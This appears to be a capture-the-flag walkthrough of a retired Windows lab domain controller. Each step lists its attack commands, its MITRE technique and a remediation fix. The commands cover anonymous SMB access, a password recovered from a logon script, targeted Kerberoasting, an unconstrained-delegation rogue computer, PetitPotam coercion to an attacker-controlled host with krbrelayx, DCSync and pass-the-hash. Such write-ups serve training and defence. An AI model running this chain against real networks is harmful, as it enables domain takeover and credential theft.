← all walkthroughs

Delegate

Windows· Medium
owned
2026-10-12
time to own
18m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I read an anonymously accessible logon script on the domain controller's NETLOGON share and recovered a plaintext domain password for the account A.Briggs. That account had write access over a second user, N.Thompson, which was abused to request a crackable Kerberos service ticket for N.Thompson (targeted Kerberoasting).

The cracked password gave a WinRM shell and the user flag. N.Thompson's account held two sensitive privileges, the right to create computer accounts and the right to grant delegation, which were chained to create a rogue computer account configured for unconstrained Kerberos delegation.

Coercing the domain controller to authenticate to that rogue computer captured the DC's own Kerberos ticket, which was used to perform a DCSync and pull the Administrator account's password hash. A pass-the-hash WinRM login as Administrator then gave full control of the domain controller and the root flag.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for N.Thompson>"
export COMPUTER_PASS="<a-password-you-choose>"

Some commands also carry a value in angle brackets (<administrator_nt_hash>, <briggs_password>, <thompson_password>), which you replace inline with what the step before it turned up.

Attack path: how the box was taken

1EnumerationNetwork service discovery; SMB null/guest session (T1135)
Mapped the domain controller and found anonymous SMB access
A port sweep showed a Windows Server 2022 domain controller (DC1, domain delegate.vl) exposing DNS, Kerberos, LDAP, SMB, WinRM and RDP. SMB allowed null/guest sessions, letting me read shares without any credentials.
Nxc reported DC1, Windows Server 2022 Build 20348, SMB signing required, Null Auth: True.
Exact commands 3
shell

Add the domain and DC names to local resolution.

$ echo "$TARGET delegate.vl dc1.delegate.vl" | sudo tee -a /etc/hosts
shell

Full TCP sweep with default scripts and version detection.

$ nmap -p- --min-rate 3000 -sC -sV $TARGET
shell

List shares available to an anonymous/guest session.

$ nxc smb delegate.vl -u guest -p '' --shares
FixDisable SMB null/guest authenticationHigh
WeaknessThe domain controller accepted anonymous and guest SMB sessions, letting an unauthorised user browse shares including NETLOGON.
FixSet RestrictAnonymous=2 and disable the Guest account domain-wide via Group Policy; audit all shares for anonymous read access and remove it.
2Initial AccessCredentials in logon scripts (T1552.001)
Recovered a plaintext password from a logon script on NETLOGON
The world-readable NETLOGON share held users.bat, a logon script whose 'net use' mapped a drive with an embedded plaintext password, gated on %USERNAME%==A.Briggs. That same password turned out to be valid for the A.Briggs domain account itself over SMB and LDAP, giving me a first authenticated identity. The domain also allowed any authenticated user to create up to 10 computer accounts (MachineAccountQuota = 10), which became relevant later.
users.bat embedded a plaintext password in a 'net use' mapping gated on A.Briggs; nxc confirmed that password valid as A.Briggs over SMB/LDAP and reported MachineAccountQuota: 10.
Exact commands 4
shell

Download the logon script anonymously.

$ smbclient -N //delegate.vl/NETLOGON -c 'get users.bat'
shell

Read the hard-coded password.

$ cat users.bat
shell

Confirm the recovered credential is valid.

$ nxc smb delegate.vl -u A.Briggs -p '<briggs_password>'
shell

Check how many computer accounts a normal user may register.

$ nxc ldap $TARGET -u A.Briggs -p '<briggs_password>' -M maq
FixRemove hard-coded credentials from logon scripts and rotate the exposed accountCritical
WeaknessThe NETLOGON-hosted logon script users.bat contained a plaintext domain password readable by any session, including anonymous ones.
FixRemove credentials from logon scripts entirely; use Group Policy Preferences drive mappings with Kerberos-authenticated service accounts instead of embedded passwords, and immediately rotate the A.Briggs password. Also lower MachineAccountQuota to 0 for non-admin users unless a business need exists.
3Lateral MovementTargeted Kerberoasting via GenericWrite (T1558.003)
Abused write access over a second account to extract a crackable Kerberos ticket
BloodHound data showed A.Briggs had GenericWrite over the N.Thompson account. I used that write access to place a fake service principal name (SPN) on N.Thompson, then requested a Kerberos service ticket for that SPN and cracked it offline, recovering N.Thompson's password. Kerberos operations needed my clock synced to the DC first, since Kerberos rejects requests with excessive time skew.
A cracked password for delegate.vl\N.Thompson was used to authenticate over WinRM; Kerberos returned KRB_AP_ERR_SKEW until the clock was synced to the DC.
Exact commands 5
shell

Sync the clock to the DC before any Kerberos operation.

$ sudo ntpdate -u delegate.vl
shell

Collect AD object/ACL data; identifies A.Briggs's GenericWrite over N.Thompson.

$ bloodhound-python -d delegate.vl -u A.Briggs -p '<briggs_password>' -c all -ns $TARGET --dns-tcp
shell

Add a throwaway SPN to the target user, making it roastable.

$ bloodyAD -u A.Briggs -p '<briggs_password>' -d delegate.vl --host dc1.delegate.vl set object N.Thompson servicePrincipalName -v 'fake/svc'
shell

Request the resulting service ticket for offline cracking.

$ impacket-GetUserSPNs delegate.vl/A.Briggs:'<briggs_password>' -request-user N.Thompson -dc-host dc1.delegate.vl -outputfile nthompson.hash
shell

Crack the ticket offline to recover N.Thompson's password.

$ hashcat -m 13100 nthompson.hash /usr/share/wordlists/rockyou.txt
FixRemove unnecessary GenericWrite / ACL delegation on user objectsHigh
WeaknessThe A.Briggs account had GenericWrite over N.Thompson, letting it add a service principal name to N.Thompson and trigger a Kerberoastable ticket for that account.
FixAudit AD object ACLs with BloodHound and remove GenericWrite/GenericAll grants on user objects that aren't operationally required; enforce AES-only Kerberos encryption and strong passwords for privileged/service-adjacent accounts so any roasted ticket resists cracking.
4FootholdRemote Services: Windows Remote Management (T1021.006)
Logged in over WinRM as N.Thompson and captured the user flag
N.Thompson belongs to Remote Management Users, so the cracked password allowed a remote PowerShell session on the domain controller. The identity was confirmed with whoami before reading the flag.
Nxc winrm authenticated as delegate.vl\N.Thompson and returned 'delegate\n.thompson'; the user flag was captured and accepted.
Exact commands 4
shell

Validate WinRM access.

$ nxc winrm $TARGET -u N.Thompson -p '<thompson_password>' -d delegate.vl
shell

Open an interactive remote shell.

$ evil-winrm -i dc1.delegate.vl -u N.Thompson -p '<thompson_password>'
shell

Confirm identity before touching any flag.

$ whoami
delegate\n.thompson
shell

Read the user flag; result is <user.txt>.

$ type C:\Users\N.Thompson\Desktop\user.txt
FixRestrict WinRM/Remote Management group membershipMedium
WeaknessN.Thompson's membership in Remote Management Users allowed a cracked password alone to produce a full remote shell on the domain controller.
FixLimit Remote Management Users membership to dedicated admin accounts, require MFA/PAW for WinRM to domain controllers, and avoid running WinRM directly on DCs where possible.
5Privilege EscalationUser-right abuse (SeMachineAccountPrivilege + SeEnableDelegationPrivilege) to create a computer and flag it for unconstrained Kerberos delegation
Used account-creation and delegation privileges to stand up a rogue, delegation-trusted computer account
Whoami /priv on the N.Thompson session showed two powerful rights: the ability to create new computer accounts in the domain, and the ability to grant Kerberos delegation trust. I combined them: registered a new computer account using the domain's machine-account quota, then flagged that computer object as trusted for unconstrained delegation. A trusted-for-delegation host can collect and reuse the Kerberos tickets of anyone who authenticates to it.
Whoami /priv in the N.Thompson shell listed SeMachineAccountPrivilege and SeEnableDelegationPrivilege; ROGUE$ was created and then flagged TRUSTED_FOR_DELEGATION.
Exact commands 2
shell

Register a new computer account using the machine-account quota. $COMPUTER_PASS is a password you choose for ROGUE$ (not a recovered secret); keep it for the hash step.

$ impacket-addcomputer delegate.vl/N.Thompson:"$PASSWORD" -computer-name 'ROGUE$' -computer-pass "$COMPUTER_PASS" -dc-host dc1.delegate.vl
shell

Flag the new computer object as trusted for unconstrained delegation, permitted by SeEnableDelegationPrivilege.

$ bloodyAD -u N.Thompson -p "$PASSWORD" -d delegate.vl --host dc1.delegate.vl add uac 'ROGUE$' -f TRUSTED_FOR_DELEGATION
FixRemove SeMachineAccountPrivilege / SeEnableDelegationPrivilege from non-Tier-0 accountsCritical
WeaknessA standard user account (N.Thompson) held both the right to create computer accounts and the right to configure Kerberos delegation, letting it stand up a computer object trusted for unconstrained delegation.
FixRestrict SeMachineAccountPrivilege and SeEnableDelegationPrivilege to Tier-0/domain-admin-equivalent groups only; set MachineAccountQuota to 0; audit for and remove any existing computer accounts flagged TRUSTED_FOR_DELEGATION that aren't explicitly required.
6Privilege EscalationForced authentication (T1187) against an unconstrained-delegation host capturing a forwarded TGT (T1550.003)
Pointed the rogue host at the me, ran a ticket catcher, and coerced the DC to authenticate
To receive the domain controller's Kerberos ticket, the rogue computer needed a resolvable name and an SPN. I added a DNS A record for pwn.delegate.vl pointing at my own host (dnstool.py), set a cifs SPN for it (addspn.py), computed ROGUE$'s NT hash from the chosen computer password, and started krbrelayx.py as a ticket catcher with that hash. Then PetitPotam coerced DC1$ to authenticate to pwn.delegate.vl; because the rogue host is trusted for unconstrained delegation, krbrelayx captured and decrypted DC1$'s forwarded TGT, writing it to DC1\$.ccache.
Krbrelayx wrote DC1$.ccache after PetitPotam coerced DC1$ to authenticate to pwn.delegate.vl.
Exact commands 5
shell

Add a DNS A record for the rogue name that resolves to your host.

$ python3 dnstool.py -u 'delegate.vl\N.Thompson' -p "$PASSWORD" -r pwn.delegate.vl -d $ATTACKER_IP --action add dc1.delegate.vl
shell

Give the rogue computer a cifs SPN on that name so Kerberos will issue a service ticket to it.

$ python3 addspn.py -u 'delegate.vl\ROGUE$' -p "$COMPUTER_PASS" -s cifs/pwn.delegate.vl --additional dc1.delegate.vl
shell

Derive ROGUE$'s NT hash from the password you chose, for the catcher.

$ pypykatz crypto nt "$COMPUTER_PASS"
shell

Start the ticket catcher; it decrypts the forwarded TGT with ROGUE$'s hash and saves DC1$.ccache.

$ python3 krbrelayx.py -hashes :<ROGUE$ NT hash>
shell

Coerce DC1$ to authenticate to pwn.delegate.vl; krbrelayx captures its TGT.

$ python3 PetitPotam.py -u N.Thompson -p "$PASSWORD" -d delegate.vl pwn.delegate.vl dc1.delegate.vl
FixBlock authentication-coercion and protect against ticket-relay/DCSyncCritical
WeaknessA non-Tier-0 user could flag a computer for unconstrained delegation, the domain controller's machine account could be coerced into authenticating to that externally controlled host, and the captured TGT could be replayed to DCSync any account's password hash.
FixEliminate unconstrained delegation (use constrained or resource-based constrained delegation instead) and remove SeEnableDelegationPrivilege from non-Tier-0 users; disable or patch coercion vectors (MS-EFSR/EFSRPC, print spooler on DCs); mark sensitive accounts non-delegatable and add them to Protected Users; and restrict directory-replication rights (DS-Replication-Get-Changes/-All) to legitimate DCs and Tier-0 accounts only. Enabling SMB signing and EPA is useful additional NTLM-relay hardening, not the primary control for this Kerberos path.
7Privilege EscalationDCSync (T1003.006)
Used the captured domain controller ticket to DCSync the Administrator's password hash
The captured DC1$ ticket carries the same domain-replication rights as the domain controller itself. I used it to request Administrator's password hash directly from Active Directory via the directory-replication service, exactly as a real domain controller would during normal replication.
Administrator NT hash was recovered and subsequently used for a pass-the-hash login confirmed by nxc (Pwn3d!).
Exact commands 1
shell

Use the captured machine-account ticket to request Administrator's NT hash via directory replication.

$ KRB5CCNAME=DC1$.ccache impacket-secretsdump -k -no-pass dc1.delegate.vl -just-dc-user Administrator
8Full ControlPass the Hash (T1550.002)
Authenticated as Administrator with the stolen hash and captured the root flag
The recovered Administrator NT hash was used directly for a pass-the-hash WinRM login (no plaintext password needed) giving full administrative control of the domain controller.
Nxc winrm authenticated as delegate.vl\Administrator using the NT hash and returned 'delegate\administrator' (Pwn3d!); root flag captured and accepted.
Exact commands 2
shell

Pass-the-hash login and flag read; result is <root.txt>.

$ nxc winrm $TARGET -u Administrator -H <administrator_nt_hash> -d delegate.vl -X "whoami; Get-Content -LiteralPath 'C:\Users\Administrator\Desktop\root.txt'"
shell

Equivalent interactive pass-the-hash shell.

$ evil-winrm -i dc1.delegate.vl -u Administrator -H <administrator_nt_hash>

Attack patterns used

The transferable techniques behind this compromise.

Unconstrained Delegation + Coerced AuthenticationActive Directory · KerberosT1558

What it is

A computer account trusted for unconstrained delegation (TRUSTED_FOR_DELEGATION) receives a copy of the TGT of every principal that authenticates to it. Whoever controls that account's keys, plus a DNS record and SPN pointing at a host they listen on, can coerce a domain controller to authenticate (PetitPotam, printerbug) and capture the DC machine account's TGT with krbrelayx, then use it to DCSync the domain.

Why it works

Unconstrained delegation turns any forced authentication into a reusable ticket for the authenticating account. Remediate by removing unconstrained delegation from non-DC hosts, restricting who may enable it (SeEnableDelegationPrivilege), marking privileged accounts sensitive and not delegatable, adding them to Protected Users, and disabling the coercion vectors (Print Spooler on DCs, EFSRPC filtering).

Read more

Exposed services

53/tcp
88/tcp
135/tcp
139/tcp
389/tcp
445/tcp
464/tcp
593/tcp
636/tcp
3268/tcp
3389/tcp
5985/tcp
9389/tcp
47001/tcp
49166/tcp
49167/tcp
49172/tcp
49664/tcp
49665/tcp
49666/tcp
49667/tcp
49669/tcp
49670/tcp
52539/tcp
52544/tcp
55813/tcp
53/udp